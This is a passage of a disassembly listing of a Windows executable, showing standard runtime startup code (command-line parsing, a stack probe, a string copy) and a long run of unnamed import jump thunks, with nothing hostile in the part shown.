		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		fldcw	[ebp+var_2]
		leave
		retn
sub_40C630	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C654	proc near		; CODE XREF: sub_401219+66p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_40C728	; GetCommandLineA
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_40C688
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_40CC80
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_40C6A3
		mov	edi, eax
		inc	edi
		jmp	short loc_40C680
; ---------------------------------------------------------------------------

loc_40C67F:				; CODE XREF: sub_40C654+2Fj
		inc	edi

loc_40C680:				; CODE XREF: sub_40C654+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_40C67F
		jmp	short loc_40C6A3
; ---------------------------------------------------------------------------

loc_40C687:				; CODE XREF: sub_40C654+3Ej
		inc	edi

loc_40C688:				; CODE XREF: sub_40C654+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C694
		cmp	eax, 20h
		jnz	short loc_40C687

loc_40C694:				; CODE XREF: sub_40C654+39j
		jmp	short loc_40C697
; ---------------------------------------------------------------------------

loc_40C696:				; CODE XREF: sub_40C654+4Dj
		inc	edi

loc_40C697:				; CODE XREF: sub_40C654:loc_40C694j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C6A3
		cmp	eax, 20h
		jz	short loc_40C696

loc_40C6A3:				; CODE XREF: sub_40C654+24j
					; sub_40C654+31j ...
		push	0
		call	sub_40C77C	; GetModuleHandleA
		push	1
		push	edi
		push	0
		push	eax
		call	sub_40AA24
		pop	edi
		leave
		retn
sub_40C654	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6B8	proc near		; CODE XREF: sub_40133B+8p
					; sub_402A48+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx

loc_40C6B9:				; CODE XREF: sub_40C6B8+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_40C6B9
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_40C6B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40C6D8	proc near		; CODE XREF: sub_401BB7+CCp
					; sub_40523D+38p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_40C6D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C704	proc near		; CODE XREF: sub_4040AA+190p
					; sub_4061F7+4C5p ...
		jmp	ds:dword_448374
sub_40C704	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C710	proc near		; CODE XREF: sub_40AA24+3DEp
		jmp	ds:dword_448378
sub_40C710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C71C	proc near		; CODE XREF: sub_4061F7+161p
					; sub_408B4C+16Bp
		jmp	ds:dword_44837C
sub_40C71C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C728	proc near		; CODE XREF: sub_40C654+5p
		jmp	ds:dword_448380
sub_40C728	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C734	proc near		; CODE XREF: sub_40133B+10p
					; sub_40133B:loc_401409p ...
		jmp	ds:dword_448384
sub_40C734	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C740	proc near		; CODE XREF: sub_40160A+7p
					; sub_40160A:loc_401694p ...
		jmp	ds:dword_448388
sub_40C740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C74C	proc near		; CODE XREF: sub_401A7E+54p
					; sub_4098A8+71Cp
		jmp	ds:dword_44838C
sub_40C74C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C758	proc near		; CODE XREF: sub_40833E+C8p
		jmp	ds:dword_448390
sub_40C758	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C764	proc near		; CODE XREF: sub_4014C9+8Cp
					; sub_4014C9:loc_401562p ...
		jmp	ds:dword_448394
sub_40C764	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C770	proc near		; CODE XREF: sub_403A5F+117p
					; sub_40406B+35p ...
		jmp	ds:dword_448398
sub_40C770	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C77C	proc near		; CODE XREF: sub_402226+13p
					; sub_402563+EFp ...
		jmp	ds:dword_44839C
sub_40C77C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C788	proc near		; CODE XREF: sub_402226+2Bp
					; sub_402226+40p ...
		jmp	ds:dword_4483A0
sub_40C788	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C794	proc near		; CODE XREF: sub_401D31:loc_401E3Dp
					; sub_401D31+336p ...
		jmp	ds:dword_4483A4
sub_40C794	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7A0	proc near		; CODE XREF: sub_40399B+32p
					; sub_4040AA+81p ...
		jmp	ds:dword_4483A8
sub_40C7A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7AC	proc near		; CODE XREF: sub_40133B+82p
					; sub_401A7E+97p ...
		jmp	ds:dword_4483AC
sub_40C7AC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7B8	proc near		; CODE XREF: sub_4054C8+123p
					; sub_408B4C+2Dp
		jmp	ds:dword_4483B0
sub_40C7B8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7C4	proc near		; CODE XREF: sub_40181A:loc_40185Ep
					; sub_402226+35p ...
		jmp	ds:dword_4483B4
sub_40C7C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7D0	proc near		; CODE XREF: sub_40133B+DEp
					; sub_4014C9:loc_40151Fp ...
		jmp	ds:dword_4483B8
sub_40C7D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7DC	proc near		; CODE XREF: sub_4040AA+2Ep
					; sub_40AA24+D7p
		jmp	ds:dword_4483BC
sub_40C7DC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7E8	proc near		; CODE XREF: sub_40399B+71p
		jmp	ds:dword_4483C0
sub_40C7E8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7F4	proc near		; CODE XREF: sub_4040AA+10Bp
					; sub_4098A8+B47p ...
		jmp	ds:dword_4483C4
sub_40C7F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C800	proc near		; CODE XREF: sub_40341E+67p
					; sub_4036BC+59p ...
		jmp	ds:dword_4483C8
sub_40C800	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C80C	proc near		; CODE XREF: sub_40349A+A4p
					; .text:004038FEp
		jmp	ds:dword_4483CC
sub_40C80C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C818	proc near		; CODE XREF: sub_40349A+65p
					; .text:004038CBp
		jmp	ds:dword_4483D0
sub_40C818	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C824	proc near		; CODE XREF: sub_402A48+204p
		jmp	ds:dword_4483D4
sub_40C824	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C830	proc near		; CODE XREF: sub_4061F7+4Bp
		jmp	ds:dword_4483D8
sub_40C830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C83C	proc near		; CODE XREF: sub_402A48+1CBp
		jmp	ds:dword_4483DC
sub_40C83C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C848	proc near		; CODE XREF: sub_402A48+5C3p
		jmp	ds:dword_4483E0
sub_40C848	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C854	proc near		; CODE XREF: sub_4023A7+19p
					; sub_402563:loc_40257Ep ...
		jmp	ds:dword_4483E4
sub_40C854	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C860	proc near		; CODE XREF: sub_402A48+A2p
		jmp	ds:dword_4483E8
sub_40C860	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C86C	proc near		; CODE XREF: sub_4061F7+490p
					; sub_408B4C+AEp ...
		jmp	ds:dword_4483EC
sub_40C86C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C878	proc near		; CODE XREF: sub_401A7E+61p
					; sub_40506F+6Ep ...
		jmp	ds:dword_4483F0
sub_40C878	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C884	proc near		; CODE XREF: sub_40506F+A2p
					; sub_4054C8+8Ap ...
		jmp	ds:dword_4483F4
sub_40C884	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C890	proc near		; CODE XREF: sub_40A9BC+2Cp
		jmp	ds:dword_4483F8
sub_40C890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C89C	proc near		; CODE XREF: sub_40506F+3Bp
		jmp	ds:dword_4483FC
sub_40C89C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8A8	proc near		; CODE XREF: sub_40133B+68p
					; sub_401A7E+89p
		jmp	ds:dword_448400
sub_40C8A8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8B4	proc near		; CODE XREF: sub_40107A+13p
		jmp	ds:dword_448404
sub_40C8B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8C0	proc near		; CODE XREF: sub_402A48+4CEp
					; sub_408779+6Fp
		jmp	ds:dword_448408
sub_40C8C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8CC	proc near		; CODE XREF: sub_40133B+34p
					; sub_401A7E+26p ...
		jmp	ds:dword_44840C
sub_40C8CC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8D8	proc near		; CODE XREF: sub_4051C3+47p
					; sub_408048+1EAp ...
		jmp	ds:dword_448410
sub_40C8D8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8E4	proc near		; CODE XREF: sub_40833E+E5p
		jmp	ds:dword_448414
sub_40C8E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8F0	proc near		; CODE XREF: sub_4061F7+3C2p
					; sub_4061F7+3F5p
		jmp	ds:dword_448418
sub_40C8F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8FC	proc near		; CODE XREF: sub_4061F7+5FDp
					; sub_408B4C+2A0p
		jmp	ds:dword_44841C
sub_40C8FC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C908	proc near		; CODE XREF: sub_40864E+15p
		jmp	ds:dword_448420
sub_40C908	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C914	proc near		; CODE XREF: sub_40867D+12p
		jmp	ds:dword_448424
sub_40C914	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C920	proc near		; CODE XREF: sub_402A48+4F3p
		jmp	ds:dword_448428
sub_40C920	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C92C	proc near		; CODE XREF: sub_4068C1+3Bp
		jmp	ds:dword_44842C
sub_40C92C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C938	proc near		; CODE XREF: sub_403A5F+179p
					; sub_404313+12p ...
		jmp	ds:dword_448430
sub_40C938	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C944	proc near		; CODE XREF: sub_403A5F+D2p
					; sub_403BE7+2A2p ...
		jmp	ds:dword_448434
sub_40C944	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C950	proc near		; CODE XREF: sub_40AA24+5ACp
		jmp	ds:dword_448438
sub_40C950	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C95C	proc near		; CODE XREF: sub_401BB7+AFp
					; sub_4053FE+12p ...
		jmp	ds:dword_44843C
sub_40C95C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C968	proc near		; CODE XREF: sub_4068C1+1Fp
		jmp	ds:dword_448440
sub_40C968	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C974	proc near		; CODE XREF: sub_4061F7+2FAp
					; sub_408B4C+264p
		jmp	ds:dword_448444
sub_40C974	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C980	proc near		; CODE XREF: sub_407F07+35p
					; sub_40AA24+818p
		jmp	ds:dword_448448
sub_40C980	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C98C	proc near		; CODE XREF: sub_40B2CA+108p
		jmp	ds:dword_448454
sub_40C98C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C998	proc near		; CODE XREF: sub_4061F7+40Cp
					; sub_406A40+9Cp ...
		jmp	ds:dword_448458
sub_40C998	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9A4	proc near		; CODE XREF: sub_408ED0+87p
					; sub_40B3E8+EDp ...
		jmp	ds:dword_44845C
sub_40C9A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9B0	proc near		; CODE XREF: sub_4061F7+39Ep
		jmp	ds:dword_448460
sub_40C9B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9BC	proc near		; CODE XREF: sub_408E12+23p
					; sub_408E12+9Ap
		jmp	ds:dword_448464
sub_40C9BC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9C8	proc near		; CODE XREF: sub_408E12+56p
		jmp	ds:dword_448468
sub_40C9C8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9D4	proc near		; CODE XREF: sub_408ED0+9CEp
					; sub_40B2CA+43p ...
		jmp	ds:dword_44846C
sub_40C9D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9E0	proc near		; CODE XREF: sub_406D2E+73p
		jmp	ds:dword_448470
sub_40C9E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9EC	proc near		; CODE XREF: sub_40AA24+500p
		jmp	ds:dword_448474
sub_40C9EC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9F8	proc near		; CODE XREF: sub_40AA24+847p
		jmp	ds:dword_448478
sub_40C9F8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA04	proc near		; CODE XREF: sub_40AA24+51Fp
		jmp	ds:dword_44847C
sub_40CA04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA10	proc near		; CODE XREF: sub_40B3E8+39Bp
					; sub_40B3E8+41Ap ...
		jmp	ds:dword_448480
sub_40CA10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA1C	proc near		; CODE XREF: sub_40AA24+896p
		jmp	ds:dword_448484
sub_40CA1C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA28	proc near		; CODE XREF: sub_408ED0+8FDp
					; sub_408ED0+945p ...
		jmp	ds:dword_448488
sub_40CA28	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA34	proc near		; CODE XREF: sub_408ED0+924p
					; sub_408ED0+95Cp ...
		jmp	ds:dword_44848C
sub_40CA34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA40	proc near		; CODE XREF: sub_4043CA+6Ap
		jmp	ds:dword_448490
sub_40CA40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA4C	proc near		; CODE XREF: sub_4043CA+8Cp
		jmp	ds:dword_448494
sub_40CA4C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA58	proc near		; CODE XREF: sub_4043CA+3Cp
		jmp	ds:dword_448498
sub_40CA58	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA64	proc near		; CODE XREF: sub_40AA24+873p
		jmp	ds:dword_44849C
sub_40CA64	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA70	proc near		; CODE XREF: sub_40AA24+887p
		jmp	ds:dword_4484A0
sub_40CA70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA7C	proc near		; CODE XREF: sub_404EC6+66p
					; sub_404EC6+CCp ...
		jmp	ds:dword_4484A4
sub_40CA7C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA88	proc near		; CODE XREF: sub_408ED0+224p
					; sub_408ED0+379p ...
		jmp	ds:dword_4484A8
sub_40CA88	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA94	proc near		; CODE XREF: sub_40AA24+55Bp
		jmp	ds:dword_4484AC
sub_40CA94	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAA0	proc near		; CODE XREF: sub_40B3E8+1F2p
		jmp	ds:dword_4484B0
sub_40CAA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAAC	proc near		; CODE XREF: sub_408ED0+75p
					; sub_40B3E8+808p
		jmp	ds:dword_4484B4
sub_40CAAC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAB8	proc near		; CODE XREF: sub_408ED0+D7p
					; sub_408ED0+14Dp ...
		jmp	ds:dword_4484B8
sub_40CAB8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAC4	proc near		; CODE XREF: sub_40B3E8+20Ep
					; sub_40B3E8+747p
		jmp	ds:dword_4484BC
sub_40CAC4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAD0	proc near		; CODE XREF: sub_40B3E8+183p
		jmp	ds:dword_4484C0
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CADC	proc near		; CODE XREF: sub_40B3E8+82Ep
		jmp	ds:dword_4484C4
sub_40CADC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAE8	proc near		; CODE XREF: sub_40AA24+532p
		jmp	ds:dword_4484D0
sub_40CAE8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAF4	proc near		; CODE XREF: sub_40B3E8+2CBp
		jmp	ds:dword_4484D4
sub_40CAF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB00	proc near		; CODE XREF: sub_40B3E8+295p
					; sub_40B3E8+2A1p
		jmp	ds:dword_4484D8
sub_40CB00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB0C	proc near		; CODE XREF: sub_40B3E8+2F3p
		jmp	ds:dword_4484DC
sub_40CB0C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB18	proc near		; CODE XREF: sub_408ED0+1F6p
					; sub_408ED0+805p
		jmp	ds:dword_4484E0
sub_40CB18	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB24	proc near		; CODE XREF: sub_40506F+51p
		jmp	ds:dword_4484EC
sub_40CB24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB30	proc near		; CODE XREF: sub_40506F+8Ap
		jmp	ds:dword_4484F0
sub_40CB30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB3C	proc near		; CODE XREF: sub_40160A+33p
					; sub_403F47+4Cp
		jmp	ds:dword_4484F4
sub_40CB3C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB48	proc near		; CODE XREF: sub_4014C9+87p
					; sub_40160A+6Cp ...
		jmp	ds:dword_4484F8
sub_40CB48	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB54	proc near		; CODE XREF: sub_4014C9+36p
		jmp	ds:dword_4484FC
sub_40CB54	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB60	proc near		; CODE XREF: sub_4014C9+6Cp
		jmp	ds:dword_448500
sub_40CB60	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB6C	proc near		; CODE XREF: sub_40160A+5Dp
					; sub_403F47+73p
		jmp	ds:dword_448504
sub_40CB6C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB78	proc near		; CODE XREF: sub_4023A7+33p
		jmp	ds:dword_448508
sub_40CB78	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB84	proc near		; CODE XREF: sub_4023A7+6Ep
		jmp	ds:dword_44850C
sub_40CB84	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB90	proc near		; CODE XREF: sub_4023A7+54p
		jmp	ds:dword_448510
sub_40CB90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB9C	proc near		; CODE XREF: sub_404EC6+1Fp
		jmp	ds:dword_448514
sub_40CB9C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBA8	proc near		; CODE XREF: sub_404EC6+171p
		jmp	ds:dword_448518
sub_40CBA8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBB4	proc near		; CODE XREF: sub_404EC6+2Fp
		jmp	ds:dword_44851C
sub_40CBB4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBC0	proc near		; CODE XREF: sub_4035DB+3Fp
		jmp	ds:dword_448528
sub_40CBC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBCC	proc near		; CODE XREF: sub_401219+49p
		jmp	ds:dword_44852C
sub_40CBCC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBD8	proc near		; CODE XREF: sub_406A40+16Ap
					; sub_406D2E+69p ...
		jmp	ds:dword_448530
sub_40CBD8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBE4	proc near		; CODE XREF: sub_40523D+F0p
					; sub_40523D+17Cp
		jmp	ds:dword_448534
sub_40CBE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBF0	proc near		; CODE XREF: sub_4098A8+1017p
					; sub_4098A8+103Fp
		jmp	ds:dword_448538
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBFC	proc near		; CODE XREF: sub_401219+74p
					; sub_4098A8+D7Ep ...
		jmp	ds:dword_44853C
sub_40CBFC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


